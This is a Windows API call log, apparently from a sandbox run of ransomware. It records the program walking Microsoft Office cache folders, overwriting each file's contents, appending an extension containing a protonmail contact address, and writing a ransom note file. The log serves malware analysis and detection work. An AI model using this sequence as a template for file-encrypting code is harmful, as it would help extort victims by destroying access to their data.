[0034.971] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0034.971] GetProcessHeap () returned 0x2e0000
[0034.971] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0034.971] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc47e320, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x97f3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PubLR.cab", cAlternateFileName="")) returned 1
[0034.972] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 76
[0034.972] StrStrIW (lpFirst="PubLR.cab", lpSrch="SDfghjkl") returned 0x0
[0034.972] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0034.972] GetProcessHeap () returned 0x2e0000
[0034.972] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0034.972] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0034.982] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0034.982] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0034.982] GetProcessHeap () returned 0x2e0000
[0034.982] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0034.982] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0034.983] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0034.985] CloseHandle (hObject=0x10c) returned 1
[0035.444] GetProcessHeap () returned 0x2e0000
[0035.444] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0035.444] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 118
[0035.444] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0035.445] GetProcessHeap () returned 0x2e0000
[0035.445] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0035.445] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
[0035.445] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76
[0035.445] StrStrIW (lpFirst="Setup.xml", lpSrch="SDfghjkl") returned 0x0
[0035.445] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0035.445] GetProcessHeap () returned 0x2e0000
[0035.445] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0035.445] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x648, lpOverlapped=0x0) returned 1
[0035.447] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xfffff9b8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0035.447] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x648, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x648, lpOverlapped=0x0) returned 1
[0035.447] GetProcessHeap () returned 0x2e0000
[0035.447] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0035.447] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0035.448] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0035.448] CloseHandle (hObject=0x10c) returned 1
[0035.448] GetProcessHeap () returned 0x2e0000
[0035.448] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0035.448] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 118
[0035.448] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0035.449] GetProcessHeap () returned 0x2e0000
[0035.449] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0035.449] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0
[0035.449] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt") returned 99
[0035.449] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0035.449] WriteFile (in: hFile=0x10c, lpBuffer=0x13638a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x13638a8*, lpNumberOfBytesWritten=0xecf114*=0x54, lpOverlapped=0x0) returned 1
[0035.450] WriteFile (in: hFile=0x10c, lpBuffer=0x2fe3f2*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x2fe3f2*, lpNumberOfBytesWritten=0xecf114*=0x18, lpOverlapped=0x0) returned 1
[0035.450] WriteFile (in: hFile=0x10c, lpBuffer=0x1363900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x1363900*, lpNumberOfBytesWritten=0xecf114*=0xc, lpOverlapped=0x0) returned 1
[0035.450] WriteFile (in: hFile=0x10c, lpBuffer=0x2fe424*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x2fe424*, lpNumberOfBytesWritten=0xecf114*=0x16, lpOverlapped=0x0) returned 1
[0035.451] WriteFile (in: hFile=0x10c, lpBuffer=0x1363910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0xecf114, lpOverlapped=0x0 | out: lpBuffer=0x1363910*, lpNumberOfBytesWritten=0xecf114*=0x23, lpOverlapped=0x0) returned 1
[0035.451] CloseHandle (hObject=0x10c) returned 1
[0035.451] FindClose (in: hFindFile=0x2fef40 | out: hFindFile=0x2fef40) returned 1
[0035.451] GetProcessHeap () returned 0x2e0000
[0035.451] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x336770 | out: hHeap=0x2e0000) returned 1
[0035.451] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001A-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9765F~1")) returned 1
[0035.451] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C") returned 66
[0035.451] GetProcessHeap () returned 0x2e0000
[0035.451] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x336770
[0035.451] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\*") returned 68
[0035.451] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fef40
[0035.456] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\.") returned 68
[0035.456] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0035.456] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\." (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0035.456] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0035.456] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\..") returned 69
[0035.456] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0035.456] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\.." (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0035.456] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a6f2400, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3a6f2400, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xeebe0180, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe21fcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlkLR.cab", cAlternateFileName="")) returned 1
[0035.456] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 78
[0035.456] StrStrIW (lpFirst="OutlkLR.cab", lpSrch="SDfghjkl") returned 0x0
[0035.456] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0035.457] GetProcessHeap () returned 0x2e0000
[0035.457] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0035.457] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0035.459] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0035.459] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0035.459] GetProcessHeap () returned 0x2e0000
[0035.459] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0035.459] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0035.459] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0035.462] CloseHandle (hObject=0x10c) returned 1
[0036.549] GetProcessHeap () returned 0x2e0000
[0036.549] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0036.549] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 120
[0036.549] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0036.550] GetProcessHeap () returned 0x2e0000
[0036.550] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0036.550] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2bba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.msi", cAlternateFileName="OUTLOO~1.MSI")) returned 1
[0036.550] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 81
[0036.550] StrStrIW (lpFirst="OutlookMUI.msi", lpSrch="SDfghjkl") returned 0x0
[0036.551] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0036.551] GetProcessHeap () returned 0x2e0000
[0036.551] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0036.551] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0036.911] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0036.911] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0x2800, lpOverlapped=0x0) returned 1
[0036.911] GetProcessHeap () returned 0x2e0000
[0036.911] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0036.911] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0036.911] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0036.915] CloseHandle (hObject=0x10c) returned 1
[0037.050] GetProcessHeap () returned 0x2e0000
[0037.050] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0037.051] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 123
[0037.051] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0037.059] GetProcessHeap () returned 0x2e0000
[0037.059] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0037.059] FindNextFileW (in: hFindFile=0x2fef40, lpFindFileData=0xecf134 | out: lpFindFileData=0xecf134*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.xml", cAlternateFileName="OUTLOO~1.XML")) returned 1
[0037.059] wnsprintfW (in: pszDest=0x336770, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 81
[0037.059] StrStrIW (lpFirst="OutlookMUI.xml", lpSrch="SDfghjkl") returned 0x0
[0037.059] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0037.060] GetProcessHeap () returned 0x2e0000
[0037.060] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0x2800) returned 0x347780
[0037.060] ReadFile (in: hFile=0x10c, lpBuffer=0x347780, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesRead=0xecf110*=0xc72, lpOverlapped=0x0) returned 1
[0037.067] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xfffff38e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
[0037.067] WriteFile (in: hFile=0x10c, lpBuffer=0x347780*, nNumberOfBytesToWrite=0xc72, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x347780*, lpNumberOfBytesWritten=0xecf110*=0xc72, lpOverlapped=0x0) returned 1
[0037.068] GetProcessHeap () returned 0x2e0000
[0037.068] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
[0037.068] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
[0037.068] WriteFile (in: hFile=0x10c, lpBuffer=0x1368ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0xecf110, lpOverlapped=0x0 | out: lpBuffer=0x1368ef0*, lpNumberOfBytesWritten=0xecf110*=0x100, lpOverlapped=0x0) returned 1
[0037.068] CloseHandle (hObject=0x10c) returned 1
[0037.070] GetProcessHeap () returned 0x2e0000
[0037.070] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x347780
[0037.070] wnsprintfW (in: pszDest=0x347780, cchDest=32767, pszFmt="%s_%6S_{%S}%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 123
[0037.070] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml_4panrg_{fiasco911@protonmail.com}sdfghjkl")) returned 1
[0037.079] GetProcessHeap () returned 0x2e0000
[0037.079] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x347780 | out: hHeap=0x2e0000) returned 1
